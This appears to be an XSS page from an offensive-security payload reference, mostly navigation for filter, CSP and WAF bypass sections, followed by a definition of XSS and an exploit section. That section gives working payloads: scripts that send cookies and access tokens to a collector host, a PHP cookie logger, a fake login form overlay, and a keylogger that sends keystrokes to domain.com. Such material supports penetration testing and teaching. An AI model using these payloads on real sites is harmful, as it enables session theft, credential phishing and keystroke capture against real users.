</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-email-filter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass email filter
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-document-blacklist" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass document blacklist
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-documentcookie-blacklist" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass document.cookie blacklist
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-javascript-inside-a-string" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using javascript inside a string
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-an-alternate-way-to-redirect" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using an alternate way to redirect
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-an-alternate-way-to-execute-an-alert" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using an alternate way to execute an alert
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-nothing" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass ">" using nothing
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-and-using-and" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass "<" and ">" using < and >
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-another-character" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass ";" using another character
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-html-encoding" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using HTML encoding
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-katakana" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using Katakana
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-cuneiform" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using Cuneiform
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-lontara" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using Lontara
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-ecmascript6" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using ECMAScript6
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-octal-encoding" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using Octal encoding
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-unicode" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using Unicode
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-utf-7" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using UTF-7
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-utf-8" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using UTF-8
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-utf-16be" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using UTF-16be
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-utf-32" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using UTF-32
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-bom" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using BOM
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-weird-encoding-or-native-interpretation" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using weird encoding or native interpretation
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-using-jsfuck" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass using jsfuck
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#csp-bypass" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
CSP Bypass
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="CSP Bypass">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-csp-using-jsonp-from-google-trick-by-apfeifer27" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass CSP using JSONP from Google (Trick by @apfeifer27)
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-csp-by-labwallarmcom" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass CSP by lab.wallarm.com
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-csp-by-rhynorater" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass CSP by Rhynorater
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-csp-by-akita_zen" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass CSP by @akita_zen
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-csp-by-404death" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass CSP by @404death
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#common-waf-bypass" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Common WAF Bypass
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Common WAF Bypass">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#cloudflare-xss-bypasses-by-bohdan-korzhynskyi" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Cloudflare XSS Bypasses by @Bohdan Korzhynskyi
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Cloudflare XSS Bypasses by @Bohdan Korzhynskyi">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#25st-january-2021" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
25st January 2021
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#21st-april-2020" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
21st April 2020
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#22nd-august-2019" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
22nd August 2019
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#5th-june-2019" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
5th June 2019
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#3rd-june-2019" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
3rd June 2019
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#cloudflare-xss-bypass-22nd-march-2019-by-rakeshmane10" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Cloudflare XSS Bypass - 22nd March 2019 (by @RakeshMane10)
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#cloudflare-xss-bypass-27th-february-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Cloudflare XSS Bypass - 27th February 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#chrome-auditor-9th-august-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Chrome Auditor - 9th August 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#incapsula-waf-bypass-by-alra3ees-8th-march-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Incapsula WAF Bypass by @Alra3ees- 8th March 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#incapsula-waf-bypass-by-c0d3g33k-11th-september-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Incapsula WAF Bypass by @c0d3G33k - 11th September 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#incapsula-waf-bypass-by-daveysec-11th-may-2019" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Incapsula WAF Bypass by @daveysec - 11th May 2019
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#akamai-waf-bypass-by-zseano-18th-june-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Akamai WAF Bypass by @zseano - 18th June 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#akamai-waf-bypass-by-s0md3v-28th-october-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Akamai WAF Bypass by @s0md3v - 28th October 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#wordfence-waf-bypass-by-brutelogic-12th-september-2018" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
WordFence WAF Bypass by @brutelogic - 12th September 2018
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#fortiweb-waf-bypass-by-rezaduty-9th-july-2019" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Fortiweb WAF Bypass by @rezaduty - 9th July 2019
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#labs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Labs
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-content" data-md-component="content">
|
||
<article class="md-content__inner md-typeset">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h1 id="cross-site-scripting">Cross Site Scripting</h1>
|
||
<blockquote>
|
||
<p>Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.</p>
|
||
</blockquote>
|
||
<h2 id="summary">Summary</h2>
|
||
<ul>
|
||
<li><a href="#cross-site-scripting">Cross Site Scripting</a></li>
|
||
<li><a href="#vulnerability-details">Vulnerability Details</a></li>
|
||
<li><a href="#exploit-code-or-poc">Exploit code or POC</a><ul>
|
||
<li><a href="#data-grabber-for-xss">Data grabber for XSS</a></li>
|
||
<li><a href="#cors">CORS</a></li>
|
||
<li><a href="#ui-redressing">UI redressing</a></li>
|
||
<li><a href="#javascript-keylogger">Javascript keylogger</a></li>
|
||
<li><a href="#other-ways">Other ways</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#identify-an-xss-endpoint">Identify an XSS endpoint</a><ul>
|
||
<li><a href="#tools">Tools</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#xss-in-htmlapplications">XSS in HTML/Applications</a><ul>
|
||
<li><a href="#common-payloads">Common Payloads</a></li>
|
||
<li><a href="#xss-using-html5-tags">XSS using HTML5 tags</a></li>
|
||
<li><a href="#xss-using-a-remote-js">XSS using a remote JS</a></li>
|
||
<li><a href="#xss-in-hidden-input">XSS in hidden input</a></li>
|
||
<li><a href="#xss-when-payload-is-reflected-capitalized">XSS when payload is reflected capitalized</a></li>
|
||
<li><a href="#dom-based-xss">DOM based XSS</a></li>
|
||
<li><a href="#xss-in-js-context">XSS in JS Context</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#xss-in-wrappers-javascript-and-data-uri">XSS in wrappers javascript and data URI</a></li>
|
||
<li><a href="#xss-in-files">XSS in files</a><ul>
|
||
<li><a href="#xss-in-xml">XSS in XML</a></li>
|
||
<li><a href="#xss-in-svg">XSS in SVG</a></li>
|
||
<li><a href="#xss-in-svg-short">XSS in SVG (short)</a></li>
|
||
<li><a href="#xss-in-markdown">XSS in Markdown</a></li>
|
||
<li><a href="#xss-in-swf-flash-application">XSS in SWF flash application</a></li>
|
||
<li><a href="#xss-in-swf-flash-application-1">XSS in SWF flash application</a></li>
|
||
<li><a href="#xss-in-css">XSS in CSS</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#xss-in-postmessage">XSS in PostMessage</a></li>
|
||
<li><a href="#blind-xss">Blind XSS</a><ul>
|
||
<li><a href="#xss-hunter">XSS Hunter</a></li>
|
||
<li><a href="#other-blind-xss-tools">Other Blind XSS tools</a></li>
|
||
<li><a href="#blind-xss-endpoint">Blind XSS endpoint</a></li>
|
||
<li><a href="#tips">Tips</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#mutated-xss">Mutated XSS</a></li>
|
||
<li><a href="#polyglot-xss">Polyglot XSS</a></li>
|
||
<li><a href="#filter-bypass-and-exotic-payloads">Filter Bypass and exotic payloads</a><ul>
|
||
<li><a href="#bypass-case-sensitive">Bypass case sensitive</a></li>
|
||
<li><a href="#bypass-tag-blacklist">Bypass tag blacklist</a></li>
|
||
<li><a href="#bypass-word-blacklist-with-code-evaluation">Bypass word blacklist with code evaluation</a></li>
|
||
<li><a href="#bypass-with-incomplete-html-tag">Bypass with incomplete html tag</a></li>
|
||
<li><a href="#bypass-quotes-for-string">Bypass quotes for string</a></li>
|
||
<li><a href="#bypass-quotes-in-script-tag">Bypass quotes in script tag</a></li>
|
||
<li><a href="#bypass-quotes-in-mousedown-event">Bypass quotes in mousedown event</a></li>
|
||
<li><a href="#bypass-dot-filter">Bypass dot filter</a></li>
|
||
<li><a href="#bypass-parenthesis-for-string">Bypass parenthesis for string</a></li>
|
||
<li><a href="#bypass-parenthesis-and-semi-colon">Bypass parenthesis and semi colon</a></li>
|
||
<li><a href="#bypass-onxxxx-blacklist">Bypass onxxxx= blacklist</a></li>
|
||
<li><a href="#bypass-space-filter">Bypass space filter</a></li>
|
||
<li><a href="#bypass-email-filter">Bypass email filter</a></li>
|
||
<li><a href="#bypass-document-blacklist">Bypass document blacklist</a></li>
|
||
<li><a href="#bypass-document-cookie-blacklist">Bypass document.cookie blacklist</a></li>
|
||
<li><a href="#bypass-using-javascript-inside-a-string">Bypass using javascript inside a string</a></li>
|
||
<li><a href="#bypass-using-an-alternate-way-to-redirect">Bypass using an alternate way to redirect</a></li>
|
||
<li><a href="#bypass-using-an-alternate-way-to-execute-an-alert">Bypass using an alternate way to execute an alert</a></li>
|
||
<li><a href="#bypass--using-nothing">Bypass ">" using nothing</a></li>
|
||
<li><a href="#bypass--and--using--and-">Bypass "<" and ">" using < and ></a></li>
|
||
<li><a href="#bypass--using-another-character">Bypass ";" using another character</a></li>
|
||
<li><a href="#bypass-using-html-encoding">Bypass using HTML encoding</a></li>
|
||
<li><a href="#bypass-using-katakana">Bypass using Katakana</a></li>
|
||
<li><a href="#bypass-using-cuneiform">Bypass using Cuneiform</a></li>
|
||
<li><a href="#bypass-using-lontara">Bypass using Lontara</a></li>
|
||
<li><a href="#bypass-using-ecmascript6">Bypass using ECMAScript6</a></li>
|
||
<li><a href="#bypass-using-octal-encoding">Bypass using Octal encoding</a></li>
|
||
<li><a href="#bypass-using-unicode">Bypass using Unicode</a></li>
|
||
<li><a href="#bypass-using-utf-7">Bypass using UTF-7</a></li>
|
||
<li><a href="#bypass-using-utf-8">Bypass using UTF-8</a></li>
|
||
<li><a href="#bypass-using-utf-16be">Bypass using UTF-16be</a></li>
|
||
<li><a href="#bypass-using-utf-32">Bypass using UTF-32</a></li>
|
||
<li><a href="#bypass-using-bom">Bypass using BOM</a></li>
|
||
<li><a href="#bypass-using-weird-encoding-or-native-interpretation">Bypass using weird encoding or native interpretation</a></li>
|
||
<li><a href="#bypass-using-jsfuck">Bypass using jsfuck</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#csp-bypass">CSP Bypass</a><ul>
|
||
<li><a href="#bypass-csp-using-jsonp-from-google-trick-by-apfeifer27">Bypass CSP using JSONP from Google (Trick by @apfeifer27)</a></li>
|
||
<li><a href="#bypass-csp-by-labwallarmcom">Bypass CSP by lab.wallarm.com</a></li>
|
||
<li><a href="#bypass-csp-by-rhynorater">Bypass CSP by Rhynorater</a></li>
|
||
<li><a href="#bypass-csp-by-akita_zen">Bypass CSP by @akita_zen</a></li>
|
||
<li><a href="#bypass-csp-by-404death">Bypass CSP by @404death</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#common-waf-bypass">Common WAF Bypass</a><ul>
|
||
<li><a href="#cloudflare-xss-bypasses-by-bohdan-korzhynskyi">Cloudflare XSS Bypasses by @Bohdan Korzhynskyi</a></li>
|
||
<li><a href="#25st-january-2021">25st January 2021</a></li>
|
||
<li><a href="#21st-april-2020">21st April 2020</a></li>
|
||
<li><a href="#22nd-august-2019">22nd August 2019</a></li>
|
||
<li><a href="#5th-june-2019">5th June 2019</a></li>
|
||
<li><a href="#3rd-june-2019">3rd June 2019</a></li>
|
||
<li><a href="#cloudflare-xss-bypass---22nd-march-2019-by-rakeshmane10">Cloudflare XSS Bypass - 22nd March 2019 (by @RakeshMane10)</a></li>
|
||
<li><a href="#cloudflare-xss-bypass---27th-february-2018">Cloudflare XSS Bypass - 27th February 2018</a></li>
|
||
<li><a href="#chrome-auditor---9th-august-2018">Chrome Auditor - 9th August 2018</a></li>
|
||
<li><a href="#incapsula-waf-bypass-by-alra3ees--8th-march-2018">Incapsula WAF Bypass by @Alra3ees- 8th March 2018</a></li>
|
||
<li><a href="#incapsula-waf-bypass-by-c0d3g33k---11th-september-2018">Incapsula WAF Bypass by @c0d3G33k - 11th September 2018</a></li>
|
||
<li><a href="#incapsula-waf-bypass-by-daveysec---11th-may-2019">Incapsula WAF Bypass by @daveysec - 11th May 2019</a></li>
|
||
<li><a href="#akamai-waf-bypass-by-zseano---18th-june-2018">Akamai WAF Bypass by @zseano - 18th June 2018</a></li>
|
||
<li><a href="#akamai-waf-bypass-by-s0md3v---28th-october-2018">Akamai WAF Bypass by @s0md3v - 28th October 2018</a></li>
|
||
<li><a href="#wordfence-waf-bypass-by-brutelogic---12th-september-2018">WordFence WAF Bypass by @brutelogic - 12th September 2018</a></li>
|
||
<li><a href="#fortiweb-waf-bypass-by-rezaduty---9th-july-2019">Fortiweb WAF Bypass by @rezaduty - 9th July 2019</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#references">References</a></li>
|
||
</ul>
|
||
<h2 id="vulnerability-details">Vulnerability Details</h2>
|
||
<p>Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone who visits the site. This can allow attackers to steal sensitive information, such as user login credentials, or to perform other malicious actions.</p>
|
||
<p>There are 3 main types of XSS attacks:</p>
|
||
<ul>
|
||
<li>
|
||
<p><strong>Reflected XSS</strong>: In a reflected XSS attack, the malicious code is embedded in a link that is sent to the victim. When the victim clicks on the link, the code is executed in their browser. For example, an attacker could create a link that contains malicious JavaScript, and send it to the victim in an email. When the victim clicks on the link, the JavaScript code is executed in their browser, allowing the attacker to perform various actions, such as stealing their login credentials.</p>
|
||
</li>
|
||
<li>
|
||
<p><strong>Stored XSS</strong>: In a stored XSS attack, the malicious code is stored on the server, and is executed every time the vulnerable page is accessed. For example, an attacker could inject malicious code into a comment on a blog post. When other users view the blog post, the malicious code is executed in their browsers, allowing the attacker to perform various actions.</p>
|
||
</li>
|
||
<li>
|
||
<p><strong>DOM-based XSS</strong>: is a type of XSS attack that occurs when a vulnerable web application modifies the DOM (Document Object Model) in the user's browser. This can happen, for example, when a user input is used to update the page's HTML or JavaScript code in some way. In a DOM-based XSS attack, the malicious code is not sent to the server, but is instead executed directly in the user's browser. This can make it difficult to detect and prevent these types of attacks, because the server does not have any record of the malicious code.</p>
|
||
</li>
|
||
</ul>
|
||
<p>To prevent XSS attacks, it is important to properly validate and sanitize user input. This means ensuring that all input meets the necessary criteria, and removing any potentially dangerous characters or code. It is also important to escape special characters in user input before rendering it in the browser, to prevent the browser from interpreting it as code.</p>
|
||
<h2 id="exploit-code-or-poc">Exploit code or POC</h2>
|
||
<h3 id="data-grabber-for-xss">Data grabber for XSS</h3>
|
||
<p>Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="p"><</span><span class="nt">script</span><span class="p">></span><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="o">=</span><span class="s1">'http://localhost/XSS/grabber.php?c='</span><span class="o">+</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p"></</span><span class="nt">script</span><span class="p">></span>
|
||
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="p"><</span><span class="nt">script</span><span class="p">></span><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="o">=</span><span class="s1">'http://localhost/XSS/grabber.php?c='</span><span class="o">+</span><span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="s1">'access_token'</span><span class="p">)</</span><span class="nt">script</span><span class="p">></span>
|
||
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="p"><</span><span class="nt">script</span><span class="p">></span><span class="ow">new</span><span class="w"> </span><span class="nx">Image</span><span class="p">().</span><span class="nx">src</span><span class="o">=</span><span class="s2">"http://localhost/cookie.php?c="</span><span class="o">+</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">;</</span><span class="nt">script</span><span class="p">></span>
|
||
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="p"><</span><span class="nt">script</span><span class="p">></span><span class="ow">new</span><span class="w"> </span><span class="nx">Image</span><span class="p">().</span><span class="nx">src</span><span class="o">=</span><span class="s2">"http://localhost/cookie.php?c="</span><span class="o">+</span><span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="s1">'access_token'</span><span class="p">);</</span><span class="nt">script</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<p>Write the collected data into a file.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="cp"><?php</span>
|
||
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="nv">$cookie</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'c'</span><span class="p">];</span>
|
||
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="nv">$fp</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="s1">'cookies.txt'</span><span class="p">,</span> <span class="s1">'a+'</span><span class="p">);</span>
|
||
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="nb">fwrite</span><span class="p">(</span><span class="nv">$fp</span><span class="p">,</span> <span class="s1">'Cookie:'</span> <span class="o">.</span><span class="nv">$cookie</span><span class="o">.</span><span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="p">);</span>
|
||
<a id="__codelineno-1-5" name="__codelineno-1-5" href="#__codelineno-1-5"></a><span class="nb">fclose</span><span class="p">(</span><span class="nv">$fp</span><span class="p">);</span>
|
||
<a id="__codelineno-1-6" name="__codelineno-1-6" href="#__codelineno-1-6"></a><span class="cp">?></span>
|
||
</code></pre></div>
|
||
<h3 id="cors">CORS</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="p"><</span><span class="nt">script</span><span class="p">></span>
|
||
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="w"> </span><span class="nx">fetch</span><span class="p">(</span><span class="s1">'https://<SESSION>.burpcollaborator.net'</span><span class="p">,</span><span class="w"> </span><span class="p">{</span>
|
||
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="w"> </span><span class="nx">method</span><span class="o">:</span><span class="w"> </span><span class="s1">'POST'</span><span class="p">,</span>
|
||
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="w"> </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s1">'no-cors'</span><span class="p">,</span>
|
||
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a><span class="w"> </span><span class="nx">body</span><span class="o">:</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span>
|
||
<a id="__codelineno-2-6" name="__codelineno-2-6" href="#__codelineno-2-6"></a><span class="w"> </span><span class="p">});</span>
|
||
<a id="__codelineno-2-7" name="__codelineno-2-7" href="#__codelineno-2-7"></a><span class="p"></</span><span class="nt">script</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h3 id="ui-redressing">UI redressing</h3>
|
||
<p>Leverage the XSS to modify the HTML content of the page in order to display a fake login form.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="p"><</span><span class="nt">script</span><span class="p">></span>
|
||
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="nx">history</span><span class="p">.</span><span class="nx">replaceState</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w"> </span><span class="s1">'../../../login'</span><span class="p">);</span>
|
||
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"</span>
|
||
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a><span class="p"></</span><span class="nt">script</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h3 id="javascript-keylogger">Javascript keylogger</h3>
|
||
<p>Another way to collect sensitive data is to set a javascript keylogger.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="o"><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="nx">x</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=</span><span class="s1">'document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'</span><span class="o">></span>
|
||
</code></pre></div>
|
||
<h3 id="other-ways">Other ways</h3>
|
||
<p>More exploits at <a href="http://www.xss-payloads.com/payloads-list.html?a#category=all">http://www.xss-payloads.com/payloads-list.html?a#category=all</a>:</p>
|
||
<ul>
|
||
<li><a href="https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/">Taking screenshots using XSS and the HTML5 Canvas</a></li>
|
||
<li><a href="http://www.gnucitizen.org/blog/javascript-port-scanner/">JavaScript Port Scanner</a></li>
|
||
<li><a href="http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html">Network Scanner</a></li>
|
||
<li><a href="http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html">.NET Shell execution</a></li>
|
||
